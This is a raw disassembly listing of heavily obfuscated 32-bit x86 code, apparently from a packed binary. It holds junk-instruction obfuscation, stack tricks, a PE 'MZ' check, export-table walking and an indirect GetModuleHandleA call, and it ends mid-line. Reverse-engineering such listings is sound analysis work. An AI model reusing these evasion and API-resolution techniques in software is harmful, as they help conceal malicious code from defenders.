sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42304F loc_424218: ; CODE XREF: sub_42304F:loc_4260B8j mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_4273B2 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_4273B2 jmp loc_428079 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424238: ; CODE XREF: sub_4244F5:loc_424512j jl loc_424B00 xchg ebx, [eax] sbb ebx, 0E185253Bh jmp loc_424AF9 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42424B: ; CODE XREF: sub_42466E:loc_427DC7j jl loc_426433 ; END OF FUNCTION CHUNK FOR sub_42466E ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424251: ; CODE XREF: sub_427AC0-1714j jmp loc_42390C ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- adc edx, 0F4D044CAh jmp loc_42642D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_424261: ; CODE XREF: sub_42325E+3EFDj call sub_427AC0 ; END OF FUNCTION CHUNK FOR sub_42325E ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424266: ; CODE XREF: sub_425BD2+134Dj jmp loc_4286F1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_42426B: ; CODE XREF: hjohnhn9:00423DF1j jl loc_423D06 or edi, 0C113892Dh jmp loc_423CFC ; --------------------------------------------------------------------------- push offset sub_423D1C jmp loc_423B39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_424286: ; CODE XREF: sub_428D64-20j mov cl, [ebp-0Bh] xor edx, edx mov dl, [ebp-9] shr edx, cl jmp loc_42876C ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- and ebp, eax jmp loc_42429D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42429D: ; CODE XREF: hjohnhn9:00424297j shl ecx, 0Ah ; =============== S U B R O U T I N E ======================================= sub_4242A0 proc near ; CODE XREF: sub_427E85-3CE5p ; FUNCTION CHUNK AT 00427877 SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx lea eax, [ebp-125h] jmp loc_427877 sub_4242A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4242AF: ; DATA XREF: sub_4285DF+2o push 0AFEC22B3h pop ebx and ebx, 5A0EB2A0h add ebx, 1C34A6B3h jmp loc_4271AE ; --------------------------------------------------------------------------- loc_4242C6: ; CODE XREF: hjohnhn9:loc_42327Ej cmp word ptr [eax], 5A4Dh jnz loc_42476D jmp loc_428414 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241D2 loc_4242D6: ; CODE XREF: sub_4241D2:loc_4241DBj mov [ebp-20h], eax ; END OF FUNCTION CHUNK FOR sub_4241D2 ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4242D9: ; CODE XREF: sub_42626F:loc_42302Cj ; sub_424A78+1A7j ... call sub_424161 loc_4242DE: ; CODE XREF: sub_428CAF-1C54j jmp loc_423FE9 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4242E3: ; CODE XREF: sub_424819+15Dj jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_4242E8: ; CODE XREF: sub_427852-37E4j jmp loc_428DDF ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- push ebp mov ebp, eax xchg ebp, [esp] push ecx jmp loc_4245DF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cdq jmp loc_4241E0 ; --------------------------------------------------------------------------- loc_424300: ; DATA XREF: sub_424877-222o mov eax, offset dword_425AEC call sub_427C43 call sub_4240E6 loc_42430F: ; CODE XREF: hjohnhn9:00428CFBj jmp loc_42783E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_424314: ; CODE XREF: sub_424631:loc_426650j mov eax, [ebp+8] mov eax, [eax-10h] and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 jnb loc_424F28 jmp loc_4277A2 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_42432F: ; CODE XREF: hjohnhn9:00423B33j jns loc_426D35 ; =============== S U B R O U T I N E ======================================= sub_424335 proc near ; CODE XREF: sub_42420D+6p ; FUNCTION CHUNK AT 00425147 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428723 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_424AAE push eax pop edx jmp loc_428723 sub_424335 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424345 proc near ; CODE XREF: hjohnhn9:00426E81j ; sub_427C9B+38p xchg esi, [esp+0] pop esi call sub_424354 retn sub_424345 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42434F: ; CODE XREF: sub_4278EC-4D5j jmp nullsub_42 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424354 proc near ; CODE XREF: sub_424345+4p push ebp mov ebp, esp push offset sub_4251D3 jmp nullsub_114 sub_424354 endp ; =============== S U B R O U T I N E ======================================= sub_424361 proc near ; CODE XREF: sub_427032+E18p ; hjohnhn9:004290B5j ; FUNCTION CHUNK AT 0042702D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_3 pop ecx pop ecx jmp loc_42702D sub_424361 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424377 proc near ; CODE XREF: sub_427AEB+3j ; FUNCTION CHUNK AT 00424E8A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042777F SIZE 00000011 BYTES add esp, 0FFFFFFF8h jmp loc_424E8A sub_424377 endp ; --------------------------------------------------------------------------- add eax, 8E0D00EBh jmp sub_424D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42438A: ; CODE XREF: sub_4278DC-277Dj push esi push 0CBBD7B78h pop esi rol esi, 0Bh and esi, 62155165h jmp loc_42809A ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_42439F: ; CODE XREF: sub_4244F5:loc_4290DFj call sub_427F90 cmp eax, [ebp-8] jnz loc_426F70 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx jmp loc_4274F7 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_4243BD: ; CODE XREF: sub_42345B:loc_426FCFj mov ebp, esp push edi push 0C7AA9249h xchg eax, [esp+0Ch+var_C] jmp loc_428522 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- cmp eax, edx jmp loc_426597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_4243D4: ; CODE XREF: sub_4237F4+125Cj or edi, ecx shr edi, 18h loc_4243D9: ; CODE XREF: hjohnhn9:loc_425EB4j ; sub_4237F4:loc_426B2Fj call sub_424877 mov edx, 19CFC62Bh call sub_4279ED call sub_426DFB loc_4243ED: ; CODE XREF: sub_424631+2276j jmp loc_4233E6 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4243F2: ; CODE XREF: sub_42304F:loc_426833j ; sub_427810:loc_42781Aj mov eax, ebx pop ecx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_4243F7: ; CODE XREF: sub_4278EC:loc_427D42j ; sub_4278EC+5CCj mov eax, ds:dword_423944 mov al, [eax] sub al, 99h jmp loc_42740A ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424831 loc_424405: ; CODE XREF: sub_424831:loc_4276B6j add esi, 25EFCEBCh mov [esi], eax pop esi retn ; END OF FUNCTION CHUNK FOR sub_424831 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_42440F: ; CODE XREF: sub_427F90+FF9j jmp loc_428496 ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_424414: ; CODE XREF: sub_423B05+Fj rol eax, 11h push eax jmp loc_424B3F ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_42441D proc near ; CODE XREF: hjohnhn9:00424C07j ; sub_425029+3976p ; FUNCTION CHUNK AT 00423031 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042674F SIZE 00000013 BYTES xchg eax, [esp+0] pop eax jnz loc_423031 mov eax, [ebp-8] jmp loc_42674F sub_42441D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42442F proc near ; DATA XREF: sub_426A78:loc_42377Bo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424F52 SIZE 00000005 BYTES rol eax, 11h push ebp mov ebp, eax xchg ebp, [esp+4+var_4] call sub_4244F5 jmp loc_424F52 sub_42442F endp ; --------------------------------------------------------------------------- test ebx, eax jmp loc_4280AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_424449: ; CODE XREF: sub_4265CD-3090j jz sub_423AAF jmp loc_426B68 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424454: ; CODE XREF: sub_425BD2+3439j jz loc_428771 cmp ebx, edi jmp loc_42477C ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- jnp loc_4268A4 jmp loc_423C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_42446C: ; CODE XREF: sub_4279C0-1B31j call sub_42851A mov edx, [ebp+arg_0] mov eax, [edx] add edx, 4 mov edx, [edx] jmp loc_4263B1 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_424480: ; CODE XREF: sub_427032:loc_423806j mov ebx, [eax+4] mov eax, [eax] jnz loc_427039 retn ; --------------------------------------------------------------------------- loc_42448C: ; CODE XREF: sub_427032:loc_427039j call sub_424D25 loc_424491: ; CODE XREF: sub_427AEB+12j jmp loc_427E3F ; END OF FUNCTION CHUNK FOR sub_427032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424496: ; CODE XREF: sub_427C9B-485Cj jz loc_425076 test eax, ecx jmp loc_4246F4 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_4244A3: ; CODE XREF: sub_4279ED:loc_424C76j xor eax, eax mov [ebp+var_C], eax push offset loc_424BF2 jmp loc_424AA9 ; END OF FUNCTION CHUNK FOR sub_4279ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4244B2: ; CODE XREF: sub_425CB3-1BD2j push 0 mov edx, esp push ecx adc ecx, esi jmp loc_42383A ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4244BE: ; CODE XREF: sub_424631:loc_4232F2j mov eax, [ebp+8] or dword ptr [eax-8], 4 mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_4264F5 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_4244D3: ; CODE XREF: sub_424E4F:loc_42634Fj cmp [ebp+var_1], 0 jz loc_428728 mov [ebp+var_8], 1 loc_4244E4: ; CODE XREF: sub_42392D+151Dj ; sub_424E4F+3D36j mov eax, [ebp+var_8] pop ecx pop ecx call sub_428718 loc_4244EE: ; CODE XREF: sub_425F3F:loc_423456j ; hjohnhn9:00424BF6j ... mov eax, [ebp+var_C] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424E4F ; =============== S U B R O U T I N E ======================================= sub_4244F5 proc near ; CODE XREF: sub_428788:loc_423610p ; sub_42442F+9p ... var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424238 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042439F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00424A39 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424AF9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00425E44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042681D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004274F7 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004290DF SIZE 00000005 BYTES call sub_424D38 loc_4244FA: ; CODE XREF: hjohnhn9:004235ABj ; sub_4284CB+4p xchg ecx, [esp+0] pop ecx adc edx, [esp-4+arg_4] jno loc_424A39 add esp, 8 mov eax, [eax] call sub_4241F3 loc_424512: ; CODE XREF: sub_427C9B-2Cj jmp loc_424238 sub_4244F5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424517: ; CODE XREF: sub_425BD2+14j jmp loc_423F21 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_42451C: ; CODE XREF: sub_427C9B-2192j jmp loc_429112 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424521: ; CODE XREF: sub_424161-102j jmp sub_42345B ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_424526: ; CODE XREF: sub_426211:loc_4250CFj ; hjohnhn9:004250E4j add edi, 8BC39D66h sub edi, 6F24657h and edi, 366FF2Bh push offset sub_42790F jmp loc_42765C ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424542: ; CODE XREF: sub_42466E-660j xchg ebx, [ebp+0] mov ebp, ebx test edx, 804613E9h jmp loc_42402C ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- add eax, edx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] jmp loc_423408 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424564 proc near ; DATA XREF: sub_428436o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424E05 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00426402 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00426547 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042755C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427F75 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax loc_42456D: ; CODE XREF: sub_424564+2FFBj jb loc_424E05 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] jmp loc_427F75 sub_424564 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_42457E: ; CODE XREF: sub_424161+106Dj jnz loc_4284EE jl loc_428326 jmp loc_4284ED ; --------------------------------------------------------------------------- loc_42458F: ; CODE XREF: sub_424161:loc_427BEEj pop edx xor edx, 2B03DDE2h rol edx, 3 jnb loc_42605A xchg edx, eax jle loc_42312B jmp loc_4271FD ; END OF FUNCTION CHUNK FOR sub_424161 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edx, [ecx] test ebp, 3765BA79h jmp loc_423542 ; =============== S U B R O U T I N E ======================================= sub_4245BA proc near ; CODE XREF: sub_424698:loc_423AE4p ; hjohnhn9:00424886j ; FUNCTION CHUNK AT 0042802C SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-4] movzx eax, word ptr [eax+6] mov [ebp-10h], eax push offset loc_4272B3 jmp loc_42802C sub_4245BA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_4245D2: ; CODE XREF: sub_427564-575j or ebx, 68CF1599h add esi, ebp jmp sub_427DE6 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_4245DF: ; CODE XREF: hjohnhn9:004242F4j push 6EB72A16h pop ecx rol ecx, 6 xor ecx, 51481A26h and ecx, 0B49990B4h rol ecx, 6 add ecx, 0E01E531Dh jmp loc_428EC5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424603: ; CODE XREF: sub_42851A-616j jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427166 loc_424608: ; CODE XREF: sub_427166+Ej pop esi rol esi, 12h xor esi, 0E0F3CFF4h sub esi, 0D1A215BAh and esi, 0E378881Fh add esi, 0BE3237CCh xchg esi, [esp+4+var_4] jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_427166 ; --------------------------------------------------------------------------- loc_42462C: ; CODE XREF: hjohnhn9:00425DD9j call sub_426D17 ; =============== S U B R O U T I N E ======================================= sub_424631 proc near ; CODE XREF: hjohnhn9:00424BEDj ; sub_428477-1C90p ; FUNCTION CHUNK AT 004230C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423180 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004232F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004233F8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00423662 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042368D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423B9C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00423ED7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00423F3D SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00424314 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004244BE SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004249A3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424CAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F09 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F28 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425164 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00425235 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425B0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004264F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426535 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00426619 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00426650 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426894 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042692F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426E35 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042708C SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0042729D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276C5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004277A2 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00427970 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427D89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427DB3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428124 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042839C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428567 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428BE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C75 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428DD1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428E16 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx jnz loc_42879B call nullsub_2 call sub_424877 jmp loc_428124 sub_424631 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_42464A: ; CODE XREF: sub_424877:loc_4288F3j mov ebp, esp jnz loc_4265EE add esp, 0FFFFFFECh push offset loc_424300 loc_42465A: ; CODE XREF: hjohnhn9:loc_428351j jmp loc_42792C ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_42465F: ; CODE XREF: sub_423BC3:loc_424C7Bj mov edx, [edx] xchg edx, [esp-8+arg_4] push dword ptr [ebp+8] call eax ; GetModuleHandleA jmp loc_42713A ; END OF FUNCTION CHUNK FOR sub_423BC3 ; =============== S U B R O U T I N E ======================================= sub_42466E proc near ; CODE XREF: hjohnhn9:004230C4p ; hjohnhn9:004269FEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042309F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042384C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423BB8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424008 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042402C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042424B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424542 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424BD9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425091 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00425D3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425DA9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426433 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427947 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042797F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427DC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042857C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004289F8 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov edx, [edx] add eax, edx pop edx push eax mov eax, ebx xchg eax, [esp+0] jmp loc_42384C sub_42466E endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov dword ptr [ebp-4], 1 push 0E4AEB5DAh push offset sub_4251EB jmp loc_4230A5 ; =============== S U B R O U T I N E ======================================= sub_424698 proc near ; CODE XREF: sub_424A78+4p ; sub_428162+4p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004238FE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423928 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423AD2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424153 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004241A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424757 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00424F4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425001 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00425C56 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004261CF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042646F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00427657 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042893A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BE8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428E07 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E1B SIZE 00000010 BYTES push ebp call sub_423F77 loc_42469E: ; CODE XREF: sub_427994-8Aj jmp loc_42646F sub_424698 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290CF loc_4246A3: ; CODE XREF: sub_4290CF-2157j jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_4290CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4246A8: ; CODE XREF: sub_427C9B+29j ror ebp, 1Dh loc_4246AB: ; CODE XREF: sub_427C9B:loc_427CB3j xor edx, 0B4557C7Dh push offset loc_4230BC jmp nullsub_124 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AAF loc_4246BB: ; CODE XREF: sub_423AAF+1Ej add esi, 77C34538h xchg esi, [esp+4+var_4] jmp loc_428027 ; END OF FUNCTION CHUNK FOR sub_423AAF ; --------------------------------------------------------------------------- loc_4246C9: ; DATA XREF: sub_425BD2+1684o inc dword ptr [ebp-4] cmp dword ptr [ebp-10h], 0 jge loc_424788 jmp loc_4251A7 ; =============== S U B R O U T I N E ======================================= sub_4246DB proc near ; CODE XREF: sub_4262C5:loc_423288p ; sub_427C9B+30j ; FUNCTION CHUNK AT 004250AF SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ebp mov ebp, esp push ecx push offset loc_427E2F jmp loc_4250AF sub_4246DB endp ; --------------------------------------------------------------------------- loc_4246ED: ; CODE XREF: hjohnhn9:loc_428C28j mov edi, ecx call sub_4249E1 ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4246F4: ; CODE XREF: sub_427C9B-37FDj ja loc_4278C0 sub ecx, ebx push ecx jmp loc_427C61 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424703: ; CODE XREF: sub_427AC0-2DB4j xchg eax, ecx loc_424705: ; CODE XREF: sub_427AC0:loc_424D04j sub eax, 2E16C343h xor eax, 0D66B12EEh and eax, 6022EF0Fh jmp loc_425C3B ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_42471C: ; CODE XREF: sub_42851A-4E85j push eax retn ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275B2 loc_42471E: ; CODE XREF: sub_4275B2+13j jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_4275B2 ; --------------------------------------------------------------------------- loc_424723: ; CODE XREF: hjohnhn9:00426ABEj jmp locret_4265BD ; --------------------------------------------------------------------------- loc_424728: ; CODE XREF: hjohnhn9:00423BFDj jmp loc_427358 ; =============== S U B R O U T I N E ======================================= sub_42472D proc near ; CODE XREF: sub_4279C0-1A5Ep push offset sub_4249BF jmp nullsub_8 sub_42472D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_424737: ; CODE XREF: sub_4265CD+Bj pop ebp push 0E7122127h pop eax or eax, 0C64C46DCh jnz loc_424045 or ebp, edx or eax, 356DC62Fh jmp loc_42403E ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424757: ; CODE XREF: sub_424698:loc_428E07j xchg edi, [esp+4+var_4] mov ebp, edi pop edi mov eax, ds:dword_423390 jmp loc_424F4D ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_424768: ; DATA XREF: sub_423B05+4AF9o call sub_424771 ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_42476D: ; CODE XREF: sub_425BD2:loc_423082j ; hjohnhn9:00424107j ... mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_424771 proc near ; CODE XREF: hjohnhn9:loc_424768p ; sub_423B05+15B2p push eax push offset loc_426AAD jmp sub_42911C sub_424771 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_42477C: ; CODE XREF: sub_425BD2-1776j jb nullsub_94 sbb ecx, 110A6425h loc_424788: ; CODE XREF: hjohnhn9:004246D0j ; sub_426C09+8j ... jz loc_426F03 mov eax, [ebp-10h] mov al, [ebp+eax-20h] mov edx, [ebp-4] mov [edx], al push offset sub_426827 jmp loc_4266A6 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4247A4: ; CODE XREF: sub_426708:loc_426311j ; sub_426708+254j push eax push 0F61C2176h pop eax rol eax, 14h add eax, 0E8D2D426h jmp loc_4283D8 ; END OF FUNCTION CHUNK 